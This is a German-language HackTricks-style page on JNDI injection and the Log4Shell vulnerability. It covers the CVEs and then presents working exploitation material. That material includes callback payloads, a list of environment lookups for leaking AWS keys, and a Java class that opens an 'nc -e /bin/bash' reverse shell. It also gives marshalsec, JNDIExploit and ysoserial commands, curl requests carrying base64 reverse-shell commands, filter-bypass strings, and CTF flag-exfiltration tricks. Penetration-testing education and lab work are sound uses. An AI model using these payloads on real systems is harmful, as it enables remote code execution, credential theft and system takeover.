JNDI - Java Naming and Directory Interface & Log4Shell

Support HackTricks

Grundinformationen

JNDI, seit den späten 1990er Jahren in Java integriert, dient als Verzeichnisdienst, der es Java-Programmen ermöglicht, Daten oder Objekte über ein Benennungssystem zu lokalisieren. Es unterstützt verschiedene Verzeichnisdienste über Dienstanbieter-Schnittstellen (SPIs), die den Datenabruf aus verschiedenen Systemen, einschließlich remote Java-Objekten, ermöglichen. Zu den gängigen SPIs gehören CORBA COS, Java RMI Registry und LDAP.

JNDI-Namensreferenz

Java-Objekte können mithilfe von JNDI-Namensreferenzen gespeichert und abgerufen werden, die in zwei Formen vorliegen:

  • Referenzadressen: Gibt den Standort eines Objekts an (z. B. rmi://server/ref), was eine direkte Abholung von der angegebenen Adresse ermöglicht.

  • Remote-Fabrik: Verweist auf eine Remote-Fabrik-Klasse. Bei Zugriff wird die Klasse von dem Remote-Standort heruntergeladen und instanziiert.

Dieses Mechanismus kann jedoch ausgenutzt werden, was potenziell zum Laden und Ausführen von beliebigem Code führen kann. Als Gegenmaßnahme:

  • RMI: java.rmi.server.useCodeabseOnly = true standardmäßig ab JDK 7u21, was das Laden von Remote-Objekten einschränkt. Ein Sicherheitsmanager schränkt weiter ein, was geladen werden kann.

  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false standardmäßig ab JDK 6u141, 7u131, 8u121, was die Ausführung von remote geladenen Java-Objekten blockiert. Wenn auf true gesetzt, ist die Ausführung von Remote-Code ohne Aufsicht eines Sicherheitsmanagers möglich.

  • CORBA: Hat keine spezifische Eigenschaft, aber der Sicherheitsmanager ist immer aktiv.

Der Naming Manager, der für die Auflösung von JNDI-Links verantwortlich ist, verfügt jedoch nicht über integrierte Sicherheitsmechanismen, was potenziell das Abrufen von Objekten aus beliebigen Quellen ermöglicht. Dies stellt ein Risiko dar, da RMI-, LDAP- und CORBA-Schutzmaßnahmen umgangen werden können, was zum Laden beliebiger Java-Objekte oder zur Ausnutzung vorhandener Anwendungsbestandteile (Gadgets) zur Ausführung von schädlichem Code führen kann.

Beispiele für ausnutzbare URLs sind:

  • rmi://attacker-server/bar

  • ldap://attacker-server/bar

  • iiop://attacker-server/bar

Trotz der Schutzmaßnahmen bleiben Schwachstellen bestehen, hauptsächlich aufgrund des Fehlens von Sicherheitsvorkehrungen gegen das Laden von JNDI aus nicht vertrauenswürdigen Quellen und der Möglichkeit, bestehende Schutzmaßnahmen zu umgehen.

JNDI-Beispiel

Selbst wenn Sie eine PROVIDER_URL festgelegt haben, können Sie in einem Lookup eine andere angeben, und sie wird abgerufen: ctx.lookup("<attacker-controlled-url>"), und das ist es, was ein Angreifer ausnutzen wird, um beliebige Objekte von einem von ihm kontrollierten System zu laden.

CORBA-Übersicht

CORBA (Common Object Request Broker Architecture) verwendet eine Interoperable Object Reference (IOR), um remote Objekte eindeutig zu identifizieren. Diese Referenz enthält wesentliche Informationen wie:

  • Typ-ID: Eindeutiger Identifikator für ein Interface.

  • Codebase: URL zum Abrufen der Stub-Klasse.

Es ist erwähnenswert, dass CORBA nicht von Natur aus anfällig ist. Die Gewährleistung der Sicherheit umfasst typischerweise:

  • Installation eines Sicherheitsmanagers.

  • Konfiguration des Sicherheitsmanagers, um Verbindungen zu potenziell schädlichen Codebasen zuzulassen. Dies kann erreicht werden durch:

  • Socket-Berechtigung, z. B. permissions java.net.SocketPermission "*:1098-1099", "connect";.

  • Dateileseberechtigungen, entweder universell (permission java.io.FilePermission "<<ALL FILES>>", "read";) oder für bestimmte Verzeichnisse, in denen schädliche Dateien platziert werden könnten.

Einige Richtlinien von Anbietern könnten jedoch nachsichtig sein und diese Verbindungen standardmäßig zulassen.

RMI-Kontext

Für RMI (Remote Method Invocation) ist die Situation etwas anders. Wie bei CORBA ist das Herunterladen beliebiger Klassen standardmäßig eingeschränkt. Um RMI auszunutzen, müsste man typischerweise den Sicherheitsmanager umgehen, was auch bei CORBA relevant ist.

LDAP

Zunächst müssen wir zwischen einer Suche und einem Lookup unterscheiden. Eine Suche verwendet eine URL wie ldap://localhost:389/o=JNDITutorial, um das JNDITutorial-Objekt von einem LDAP-Server zu finden und seine Attribute abzurufen. Ein Lookup ist für Namensdienste gedacht, da wir alles abrufen möchten, was an einen Namen gebunden ist.

Wenn die LDAP-Suche mit SearchControls.setReturningObjFlag() mit true aufgerufen wurde, wird das zurückgegebene Objekt rekonstruiert.

Daher gibt es mehrere Möglichkeiten, diese Optionen anzugreifen. Ein Angreifer kann LDAP-Datensätze vergiften, indem er Payloads einführt, die in den Systemen ausgeführt werden, die sie sammeln (sehr nützlich, um Dutzende von Maschinen zu kompromittieren, wenn Sie Zugriff auf den LDAP-Server haben). Eine andere Möglichkeit, dies auszunutzen, wäre, einen MitM-Angriff in einer LDAP-Suche durchzuführen.

Falls Sie eine App dazu bringen können, eine JNDI LDAP-URL aufzulösen, können Sie den LDAP steuern, der durchsucht wird, und Sie könnten den Exploit zurücksenden (log4shell).

Deserialisierungs-Exploit

Der Exploit ist serialisiert und wird deserialisiert. Falls trustURLCodebase auf true gesetzt ist, kann ein Angreifer seine eigenen Klassen in der Codebase bereitstellen, andernfalls muss er Gadgets im Classpath ausnutzen.

JNDI-Referenz-Exploit

Es ist einfacher, diesen LDAP mit JavaFactory-Referenzen anzugreifen:

Log4Shell-Schwachstelle

Die Schwachstelle wird in Log4j eingeführt, da es eine spezielle Syntax in der Form ${prefix:name} unterstützt, wobei prefix einer von mehreren verschiedenen Lookups ist, die name ausgewertet werden soll. Zum Beispiel ist ${java:version} die aktuell laufende Version von Java.

LOG4J2-313 führte eine jndi Lookup-Funktion ein. Diese Funktion ermöglicht den Abruf von Variablen über JNDI. Typischerweise wird der Schlüssel automatisch mit java:comp/env/ vorangestellt. Wenn der Schlüssel selbst jedoch ein ":" enthält, wird dieses Standardpräfix nicht angewendet.

Mit einem : im Schlüssel, wie in ${jndi:ldap://example.com/a}, gibt es kein Präfix und der LDAP-Server wird nach dem Objekt abgefragt. Und diese Lookups können sowohl in der Konfiguration von Log4j als auch beim Protokollieren von Zeilen verwendet werden.

Daher ist das einzige, was benötigt wird, um RCE zu erhalten, eine anfällige Version von Log4j, die Informationen verarbeitet, die vom Benutzer kontrolliert werden. Und da dies eine Bibliothek ist, die von Java-Anwendungen weit verbreitet verwendet wird, um Informationen zu protokollieren (einschließlich internetfähiger Anwendungen), war es sehr häufig, dass log4j beispielsweise HTTP-Header wie den User-Agent protokollierte. Log4j wird jedoch nicht nur verwendet, um HTTP-Informationen zu protokollieren, sondern auch alle Eingaben und Daten, die der Entwickler angegeben hat.

Übersicht über Log4Shell-bezogene CVEs

CVE-2021-44228 [Kritisch]

Diese Schwachstelle ist ein kritischer untrusted deserialization flaw im log4j-core-Komponenten, die Versionen von 2.0-beta9 bis 2.14.1 betrifft. Sie ermöglicht remote code execution (RCE), wodurch Angreifer Systeme übernehmen können. Das Problem wurde von Chen Zhaojun vom Alibaba Cloud Security Team gemeldet und betrifft verschiedene Apache-Frameworks. Der ursprüngliche Fix in Version 2.15.0 war unvollständig. Sigma-Regeln zur Verteidigung sind verfügbar (Regel 1, Regel 2).

CVE-2021-45046 [Kritisch]

Ursprünglich als niedrig eingestuft, aber später auf kritisch hochgestuft, ist dieser CVE ein Denial of Service (DoS)-Fehler, der aus einem unvollständigen Fix in 2.15.0 für CVE-2021-44228 resultiert. Er betrifft nicht standardmäßige Konfigurationen und ermöglicht es Angreifern, DoS-Angriffe durch gestaltete Payloads zu verursachen. Ein Tweet zeigt eine Umgehungsmethode. Das Problem wurde in den Versionen 2.16.0 und 2.12.2 behoben, indem die Nachrichten-Lookup-Muster entfernt und JNDI standardmäßig deaktiviert wurden.

Betroffen sind Log4j 1.x-Versionen in nicht standardmäßigen Konfigurationen, die JMSAppender verwenden. Dieser CVE ist ein untrusted deserialization flaw. Es gibt keinen Fix für den 1.x-Zweig, der das Ende seiner Lebensdauer erreicht hat, und ein Upgrade auf log4j-core 2.17.0 wird empfohlen.

CVE-2021-42550 [Moderat]

Diese Schwachstelle betrifft das Logback-Protokollierungsframework, einen Nachfolger von Log4j 1.x. Zuvor als sicher angesehen, wurde das Framework als anfällig befunden, und neuere Versionen (1.3.0-alpha11 und 1.2.9) wurden veröffentlicht, um das Problem zu beheben.

CVE-2021-45105 [Hoch]

Log4j 2.16.0 enthält einen DoS-Fehler, was zur Veröffentlichung von log4j 2.17.0 zur Behebung des CVE führte. Weitere Details finden Sie im Bericht von BleepingComputer hier.

Diese Schwachstelle betrifft log4j Version 2.17 und erfordert, dass der Angreifer die Konfigurationsdatei von log4j kontrolliert. Sie beinhaltet potenzielle beliebige Codeausführung über einen konfigurierten JDBCAppender. Weitere Details sind im Checkmarx-Blogbeitrag verfügbar.

Log4Shell-Ausnutzung

Entdeckung

Diese Schwachstelle ist sehr einfach zu entdecken, wenn sie ungeschützt ist, da sie mindestens eine DNS-Anfrage an die Adresse sendet, die Sie in Ihrer Payload angeben. Daher Payloads wie:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (unter Verwendung von canarytokens.com)

  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (unter Verwendung von interactsh)

  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (unter Verwendung von Burp Suite)

  • ${jndi:ldap://2j4ayo.dnslog.cn} (unter Verwendung von dnslog)

  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} (unter Verwendung von huntress)

Beachten Sie, dass selbst wenn eine DNS-Anfrage empfangen wird, das nicht bedeutet, dass die Anwendung ausnutzbar (oder sogar anfällig) ist; Sie müssen versuchen, sie auszunutzen.

Denken Sie daran, dass Sie zur Ausnutzung von Version 2.15 die localhost-Überprüfung umgehen müssen: ${jndi:ldap://127.0.0.1#...}

Lokale Entdeckung

Suchen Sie nach lokalen anfälligen Versionen der Bibliothek mit:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Überprüfung

Einige der zuvor aufgeführten Plattformen ermöglichen es Ihnen, einige variable Daten einzufügen, die protokolliert werden, wenn sie angefordert werden. Dies kann für 2 Dinge sehr nützlich sein:

  • Um die Schwachstelle zu verifizieren

  • Um Informationen zu exfiltrieren, indem die Schwachstelle ausgenutzt wird

Zum Beispiel könnten Sie etwas anfordern wie: oder wie ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} und wenn eine DNS-Anfrage mit dem Wert der Umgebungsvariable empfangen wird, wissen Sie, dass die Anwendung anfällig ist.

Andere Informationen, die Sie versuchen könnten zu leaken:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE Informationen

Hosts, die auf JDK-Versionen über 6u141, 7u131 oder 8u121 laufen, sind gegen den LDAP-Klassenladeangriffsvektor geschützt. Dies liegt an der standardmäßigen Deaktivierung von com.sun.jndi.ldap.object.trustURLCodebase, die verhindert, dass JNDI eine Remote-Codebasis über LDAP lädt. Es ist jedoch wichtig zu beachten, dass diese Versionen nicht gegen den Deserialisierungsangriffsvektor geschützt sind.

Für Angreifer, die darauf abzielen, diese höheren JDK-Versionen auszunutzen, ist es notwendig, ein vertrauenswürdiges Gadget innerhalb der Java-Anwendung zu nutzen. Werkzeuge wie ysoserial oder JNDIExploit werden häufig zu diesem Zweck verwendet. Im Gegensatz dazu ist das Ausnutzen niedrigerer JDK-Versionen relativ einfacher, da diese Versionen manipuliert werden können, um beliebige Klassen zu laden und auszuführen.

Für weitere Informationen (wie Einschränkungen bei RMI- und CORBA-Vektoren) überprüfen Sie den vorherigen Abschnitt zur JNDI-Namensreferenz oder https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/

RCE - Marshalsec mit benutzerdefiniertem Payload

Sie können dies in der THM-Box testen: https://tryhackme.com/room/solar

Verwenden Sie das Tool marshalsec (Jar-Version verfügbar hier). Dieser Ansatz richtet einen LDAP-Referenzserver ein, um Verbindungen an einen sekundären HTTP-Server umzuleiten, auf dem der Exploit gehostet wird:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Um das Ziel dazu zu bringen, einen Reverse-Shell-Code zu laden, erstellen Sie eine Java-Datei mit dem Namen Exploit.java mit dem folgenden Inhalt:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Kompilieren Sie die Java-Datei in eine Klassendatei mit: javac Exploit.java -source 8 -target 8. Starten Sie dann einen HTTP-Server im Verzeichnis, das die Klassendatei enthält, mit: python3 -m http.server. Stellen Sie sicher, dass der marshalsec LDAP-Server auf diesen HTTP-Server verweist.

Lösen Sie die Ausführung der Exploit-Klasse auf dem anfälligen Webserver aus, indem Sie eine Payload senden, die wie folgt aussieht:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Hinweis: Dieser Exploit basiert auf der Konfiguration von Java, die das Laden von Remote-Codebasen über LDAP erlaubt. Wenn dies nicht zulässig ist, ziehen Sie in Betracht, eine vertrauenswürdige Klasse für die Ausführung beliebigen Codes auszunutzen.

RCE - JNDIExploit

Beachten Sie, dass der Autor aus irgendeinem Grund dieses Projekt nach der Entdeckung von log4shell von GitHub entfernt hat. Sie können eine zwischengespeicherte Version unter https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 finden, aber wenn Sie die Entscheidung des Autors respektieren möchten, verwenden Sie eine andere Methode, um diese Schwachstelle auszunutzen.

Darüber hinaus können Sie den Quellcode nicht in der Wayback Machine finden, also analysieren Sie entweder den Quellcode oder führen Sie die JAR-Datei aus, in dem Wissen, dass Sie nicht wissen, was Sie ausführen.

Für dieses Beispiel können Sie einfach diesen anfälligen Webserver für log4shell auf Port 8080 ausführen: https://github.com/christophetd/log4shell-vulnerable-app (im README finden Sie, wie man ihn ausführt). Diese anfällige App protokolliert mit einer anfälligen Version von log4shell den Inhalt des HTTP-Anforderungsheaders X-Api-Version.

Dann können Sie die JNDIExploit JAR-Datei herunterladen und sie mit folgendem Befehl ausführen:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Nach nur wenigen Minuten des Lesens des Codes in com.feihong.ldap.LdapServer und com.feihong.ldap.HTTPServer kann man sehen, wie die LDAP- und HTTP-Server erstellt werden. Der LDAP-Server versteht, welches Payload bereitgestellt werden muss, und leitet das Opfer an den HTTP-Server weiter, der den Exploit bereitstellt. In com.feihong.ldap.gadgets finden Sie einige spezifische Gadgets, die verwendet werden können, um die gewünschte Aktion auszuführen (potenziell beliebigen Code auszuführen). Und in com.feihong.ldap.template können Sie die verschiedenen Template-Klassen sehen, die die Exploits generieren.

Sie können alle verfügbaren Exploits mit java -jar JNDIExploit-1.2-SNAPSHOT.jar -u sehen. Einige nützliche sind:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

So, in unserem Beispiel haben wir bereits die anfällige Docker-Anwendung am Laufen. Um sie anzugreifen:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Wenn Sie die Angriffe senden, sehen Sie einige Ausgaben im Terminal, in dem Sie JNDIExploit-1.2-SNAPSHOT.jar ausgeführt haben.

Denken Sie daran, java -jar JNDIExploit-1.2-SNAPSHOT.jar -u für andere Ausbeutungsoptionen zu überprüfen. Außerdem können Sie, falls erforderlich, den Port der LDAP- und HTTP-Server ändern.

RCE - JNDI-Exploit-Kit

Ähnlich wie beim vorherigen Exploit können Sie versuchen, JNDI-Exploit-Kit zu verwenden, um diese Schwachstelle auszunutzen. Sie können die URLs generieren, die Sie an das Opfer senden möchten, indem Sie Folgendes ausführen:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Dieser Angriff unter Verwendung eines benutzerdefinierten generierten Java-Objekts wird in Laboren wie dem THM solar room funktionieren. Allerdings wird dies im Allgemeinen nicht funktionieren (da Java standardmäßig nicht konfiguriert ist, um Remote-Codebasen über LDAP zu laden). Ich denke, das liegt daran, dass es keine vertrauenswürdige Klasse ausnutzt, um beliebigen Code auszuführen.

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus ist ein weiteres Tool zur Generierung von funktionierenden JNDI-Links und zur Bereitstellung von Hintergrunddiensten durch Starten eines RMI-Servers, LDAP-Servers und HTTP-Servers.\

RCE - ysoserial & JNDI-Exploit-Kit

Diese Option ist wirklich nützlich, um Java-Versionen anzugreifen, die nur bestimmte Klassen vertrauen und nicht allen. Daher wird ysoserial verwendet, um Serialisierungen von vertrauenswürdigen Klassen zu generieren, die als Gadgets verwendet werden können, um beliebigen Code auszuführen (die von ysoserial ausgenutzte vertrauenswürdige Klasse muss vom Opfer-Java-Programm verwendet werden, damit der Exploit funktioniert).

Mit ysoserial oder ysoserial-modified können Sie den Deserialisierungs-Exploit erstellen, der von JNDI heruntergeladen wird:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Verwenden Sie JNDI-Exploit-Kit, um JNDI-Links zu generieren, bei denen der Exploit auf Verbindungen von den anfälligen Maschinen wartet. Sie können verschiedene Exploits, die automatisch generiert werden können, vom JNDI-Exploit-Kit bereitstellen oder sogar Ihre eigenen Deserialisierungs-Payloads (von Ihnen oder ysoserial generiert).

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Jetzt können Sie einen generierten JNDI-Link einfach verwenden, um die Schwachstelle auszunutzen und eine Reverse-Shell zu erhalten, indem Sie ihn an eine verwundbare Version von log4j senden: ${ldap://10.10.14.10:1389/generated}

Bypasses

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Automatische Scanner

Labs zum Testen

Post-Log4Shell Ausnutzung

In diesem CTF-Bericht wird gut erklärt, wie es potenziell möglich ist, einige Funktionen von Log4J zu missbrauchen.

Die Sicherheitsseite von Log4j enthält einige interessante Sätze:

Ab Version 2.16.0 (für Java 8) wurde die Nachrichtensuche-Funktion vollständig entfernt. Suchen in der Konfiguration funktionieren weiterhin. Darüber hinaus deaktiviert Log4j jetzt standardmäßig den Zugriff auf JNDI. JNDI-Suchen in der Konfiguration müssen jetzt explizit aktiviert werden.

Ab Version 2.17.0 (und 2.12.3 und 2.3.1 für Java 7 und Java 6) werden nur Suchzeichenfolgen in der Konfiguration rekursiv erweitert; bei jeder anderen Verwendung wird nur die oberste Suche aufgelöst, und alle verschachtelten Suchen werden nicht aufgelöst.

Das bedeutet, dass Sie standardmäßig vergessen können, einen jndi-Exploit zu verwenden. Darüber hinaus müssen Sie die rekursiven Suchen konfigurieren.

Zum Beispiel war dies in diesem CTF in der Datei log4j2.xml konfiguriert:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Env Lookups

In diesem CTF kontrollierte der Angreifer den Wert von ${sys:cmd} und musste die Flagge aus einer Umgebungsvariable exfiltrieren. Wie auf dieser Seite in früheren Payloads zu sehen ist, gibt es verschiedene Möglichkeiten, auf Umgebungsvariablen zuzugreifen, wie z.B.: ${env:FLAG}. In diesem CTF war dies nutzlos, könnte aber in anderen realen Szenarien nützlich sein.

Exfiltration in Exceptions

Im CTF konntest du nicht auf stderr der Java-Anwendung mit log4J zugreifen, aber Log4J Ausnahmen werden an stdout gesendet, was in der Python-App ausgegeben wurde. Das bedeutete, dass wir durch das Auslösen einer Ausnahme auf den Inhalt zugreifen konnten. Eine Ausnahme zur Exfiltration der Flagge war: ${java:${env:FLAG}}. Dies funktioniert, weil ${java:CTF{blahblah}} nicht existiert und eine Ausnahme mit dem Wert der Flagge angezeigt wird:

Conversion Patterns Exceptions

Nur um es zu erwähnen, könntest du auch neue Conversion Patterns injizieren und Ausnahmen auslösen, die in stdout protokolliert werden. Zum Beispiel:

Dies wurde als nicht nützlich erachtet, um Daten innerhalb der Fehlermeldung zu exfiltrieren, da die Abfrage nicht vor dem Conversion Pattern gelöst wurde, könnte aber für andere Dinge wie Erkennung nützlich sein.

Conversion Patterns Regexes

Es ist jedoch möglich, einige Conversion Patterns, die Regexes unterstützen, zu verwenden, um Informationen aus einer Abfrage zu exfiltrieren, indem man Regexes verwendet und binäre Suche oder zeitbasierte Verhaltensweisen ausnutzt.

  • Binäre Suche über Ausnahme-Nachrichten

Das Conversion Pattern %replace kann verwendet werden, um Inhalt aus einem String sogar unter Verwendung von Regexes zu ersetzen. Es funktioniert so: replace{pattern}{regex}{substitution} Durch das Ausnutzen dieses Verhaltens könntest du eine Ausnahme auslösen, wenn das Regex etwas im String übereinstimmte (und keine Ausnahme, wenn es nicht gefunden wurde) wie folgt:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Zeitbasiert

Wie im vorherigen Abschnitt erwähnt, unterstützt %replace Regex. Es ist also möglich, Payloads von der ReDoS-Seite zu verwenden, um einen Timeout auszulösen, falls das Flag gefunden wird. Ein Beispiel für eine Payload wie %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} würde einen Timeout in diesem CTF auslösen.

In diesem Bericht wurde anstelle eines ReDoS-Angriffs ein Amplifikationsangriff verwendet, um einen Zeitunterschied in der Antwort zu verursachen:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Wenn das Flag mit flagGuess beginnt, wird das gesamte Flag durch 29 #-Zeichen ersetzt (ich habe dieses Zeichen verwendet, da es wahrscheinlich nicht Teil des Flags ist). Jedes der resultierenden 29 #-Zeichen wird dann durch 54 #-Zeichen ersetzt. Dieser Prozess wird 6 Mal wiederholt, was zu insgesamt 29*54*54^6* =`` ``96816014208 #-Zeichen führt!

Das Ersetzen so vieler #-Zeichen löst den 10-Sekunden-Timeout der Flask-Anwendung aus, was wiederum dazu führt, dass der HTTP-Statuscode 500 an den Benutzer gesendet wird. (Wenn das Flag nicht mit flagGuess beginnt, erhalten wir einen Statuscode, der nicht 500 ist)

Referenzen

Unterstütze HackTricks

Last updated